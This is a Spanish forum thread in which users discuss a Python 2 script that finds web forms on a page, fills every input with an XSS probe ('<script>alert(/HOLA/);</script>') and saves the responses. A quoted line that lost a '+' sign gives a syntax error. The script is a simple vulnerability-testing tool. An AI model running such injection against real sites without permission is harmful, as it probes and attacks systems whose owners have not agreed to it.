Pero hiciste que ese formulario fuera vulnerable?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: tragantras en 7 Diciembre 2009, 21:03 PMYa lo he modificado y debería funcionar, misteriosamente no se copiaron algunos símbolos.python xss.py http://localhost/index.php
File "xss.py", line 23
return url[0:url[7:].find('/') 7]
^
SyntaxError: invalid syntax
algo anda mal o soy yo? :S
#!/usr/bin/python
import urllib2,urllib,sys,string
from HTMLParser import HTMLParser
class parsearhtml(HTMLParser):
formactual = -1
atributosform = []
atributosinput = []
def handle_starttag(self, tag, attrs):
atributosform = {}
atributosinput = {}
if tag=="form":
for i in range(len(attrs)):
atributosform[attrs[i][0]] = attrs[i][1]
self.atributosform.append(atributosform)
self.atributosinput.append([])
self.formactual+=1
if tag=="input":
for i in range(len(attrs)):
atributosinput[attrs[i][0]] = attrs[i][1]
self.atributosinput[self.formactual].append(atributosinput)
def obtenerhost(url): #Funcion que obtiene el host
if url[0:7]=='http://':
return url[0:url[7:].find('/')+7]
if url[0:8]=='https://':
return url[0:url[8:].find('/')+8]
return url
def obtenercarpeta(url): #Obtiene la carpeta en la que esta guardado el archivo...
i = len(url)-1
while i!=0:
if url[i]=='/': return url[:i+1]
i-=1
return url
def obtenerruta(action): #Funcion que obtiene la direccion a la cual mandar las variables
global host,carpeta
if action.find('http://')!=-1 or action.find('https://')!=-1:
return action
if action[0]=='/':
return host+action
else :
return carpeta+action
url = sys.argv[1]
host = obtenerhost(url)
carpeta = obtenercarpeta(url)
#Variables de localizacion
useragent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"
cabeceras = { "User-Agent" : useragent }
code = urllib2.urlopen(url).read()
print "Codigo de la pagina obtenido ..."
try :
parser = parsearhtml()
parser.feed(code) # Ha recogido todos los forms y los inputs
except :
print "Hubo un error parseando el HTML"
#Ya tengo todos los datos necesarios
print "Datos obtenidos ..."
payloads = ['<h1>Payload</h1>','<script>alert(/HOLA/);</script>'] # Payloads de XSS
atributosform = parser.atributosform
atributosinput = parser.atributosinput
if len(atributosform)==0: print "No se encontraron forms"
for indice in range(len(atributosform)):
#Se obtiene la direccion a la que mandar los datos
print "Obteniendo direccion a la que mandar los datos... "
if atributosform[indice].has_key('action'):
urlamandar = obtenerruta(atributosform[indice]['action'])
else:
urlamandar = url
#Se empiezan a rellenar las variables con los payloads correspondientes...
maliciousdata = {}
print "Rellenando con los payloads las variables ..."
for varinput in atributosinput[indice]:
if varinput.has_key('name'):
maliciousdata[varinput['name']] = payloads[1]
maliciousdata = urllib.urlencode(maliciousdata)
req = urllib2.Request(urlamandar,maliciousdata,headers = cabeceras)
codeinfectado = urllib2.urlopen(req).read()
print "Escribiendo el archivo ",str(indice)+".html"
resultado = open(str(indice)+'.html','w')
resultado.write(codeinfectado)
python xss.py http://localhost/xss.php